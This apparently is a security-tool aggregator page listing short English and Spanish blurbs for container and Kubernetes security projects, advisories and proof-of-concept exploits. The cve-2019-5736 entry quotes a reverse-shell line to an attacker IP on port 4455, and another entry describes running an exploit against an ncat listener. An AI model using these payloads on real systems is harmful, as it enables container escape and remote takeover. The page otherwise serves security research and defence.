EUVD-2026-88361

A flaw was found in kube-compare. When processing a 'container://' reference path, the tool incorrectly executes an untrusted container image's entrypoint instead of merely extracting data from a stopped container. This allows a remote attacker to achieve arbitrary code execution on the operator'...

gvisor

What is gVisor? gVisor provides a strong layer of isolation between running applications and the host operating system. It is an application kernel that implements a Linux-like interface. Unlike Linux, it is written in a memory-safe language Go and runs in userspace. gVisor includes an runtime...

peirates

Peirates What is Peirates? Peirates, a Kubernetes penetration tool, enables an attacker to escalate privilege and pivot through a Kubernetes cluster. It automates known techniques to steal and collect service account tokens, secrets, obtain further code execution, and gain control of the cluster...

hardening-k8s-containers

Aplicación de toma de notas intencionalmente vulnerable Este repositorio contiene una aplicación muy simple y vulnerable utilizada para demostrar las diferencias entre desplegar esta aplicación con la configuración predeterminada en un clúster de Kubernetes, frente a agregar algunas configuracion...

CVE-2026-87114

A flaw in kube-compare allows a remote attacker to achieve arbitrary code execution on an operator's workstation. When processing a container:// reference path, the tool incorrectly executes an untrusted container image's entrypoint instead of extracting data from a stopped container. This vulner...

cve-2019-5736-poc

Encabezados a añadir stage2.c bash include bash include Modificar con IP del PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Creación de imagen Docker y contenedor root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo c...

kube-trivy

A Simple and Comprehensive Vulnerability Scanner for Kubernetes Abstract KubeTrivy is a extends trivy for kubernetes. KubeTrivy is a simple and comprehensive vulnerability scanner for Kubernetes. KubeTrivy detects vulnerabilities of OS packages Alpine, RHEL, CentOS, etc. and application...

sleuthkit

The Sleuth Kit INTRODUCTION The Sleuth Kit is an open source forensic toolkit for analyzing Microsoft and UNIX file systems and disks. The Sleuth Kit enables investigators to identify and recover evidence from images acquired during incident response or from live systems. The Sleuth Kit is open...

CVE-2022-0847-DirtyPipe-Container-Breakout

PoC de escape de contenedor DirtyPipe Este repositorio contiene un PoC para la vulnerabilidad del kernel dirtypipe, para escapar de un contenedor. Puede encontrar más explicaciones en esta entrada de blog...

whoc

whoc Una imagen de contenedor que extrae el runtime de contenedor subyacente y lo envía a un servidor remoto. ¡Indaga en el runtime de contenedor subyacente de tu plataforma de contenedores CSP favorita! WhoC en Defcon 29 Cloud Village Azurescape - investigación impulsada por whoc, la primera tom...

vesta

Un kit de herramientas de detección de análisis estático de vulnerabilidades y configuración de clústeres Docker y Kubernetes, basado en la penetración real en la nube. Inglés · 简体中文 Resumen Vesta es un kit de herramientas de detección de análisis estático de vulnerabilidades y configuración de...

wetland

Wetland Wetland es un honeypot SSH de alta interacción, diseñado para registrar ataques de fuerza bruta. Además, wetland registrará la interacción de shell, scp, sftp, exec-command, direct-forward, reverse-forward realizada por el atacante. Wetland está basado en el módulo ssh de Python paramiko....

sysbox

Introduction Sysbox is an open-source and free container runtime a specialized "runc", originally developed by Nestybox acquired by Docker on 05/2022, that enhances containers in two key ways: Improves container isolation: Linux user-namespace on all containers i.e., root user in the container ha...

cluster-image-scanner

ClusterImageScanner Descubra vulnerabilidades y configuraciones incorrectas de imágenes de contenedores en entornos de producción. Introducción ClusterImageScanner detecta imágenes en un clúster de Kubernetes y proporciona comentarios rápidos basados en varias pruebas de seguridad. Se recomienda...

cve-2024-3094

Cómo detectar la CVE-2024-3094 Te guiaré a través del proceso paso a paso para detectar la CVE-2024-3094, comúnmente conocida como la puerta trasera XZ, en contenedores utilizando Vision One TMAS CLI de Trend Micro. Esta vulnerabilidad presenta riesgos significativos para entornos contenerizados,...

botb

Break out the Box BOtB BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. What does it do? BOtB is a CLI tool which allows you to: Exploit common container vulnerabilities Perform commo...

botb

Salir de la Caja BOtB BOtB es una herramienta de análisis y explotación de contenedores diseñada para ser utilizada por pentesters e ingenieros, además de ser compatible con CI/CD usando tecnologías CI/CD comunes. ¿Qué hace? BOtB es una herramienta de línea de comandos que te permite: Explotar...

WantasticCore

Wantastic Una malla WireGuard autoalojada con un portal de administración en el navegador, todo en un contenedor. Prueba la demo → · Únete a Discord → Por qué Wantastic El espacio de las VPN superpuestas está abarrotado — Tailscale, Headscale, NetBird, wg-easy. Todos se detienen en "tus...

CVE-2025-9074-PoC

Docker API Unauthenticated RCE CVE-2025-9074 A critical CVE-2025-9074 vulnerability in Docker Desktop enables locally running Linux containers to connect to the Docker Engine API through the default subnet 192.168.65.7:2375. The issue persists regardless of Enhanced Container Isolation ECI or TCP...

CVE-2025-32375

Configuración para la versión vulnerable. Inicia el contenedor vulnerable: root@kitploit: docker compose up Crea un listener por ejemplo, ncat: root@kitploit: ncat -klnv 1337 Ejecuta el exploit: root@kitploit: python3 exploit.py Deberías recibir una petición HTTP en la ventana de ncat con el...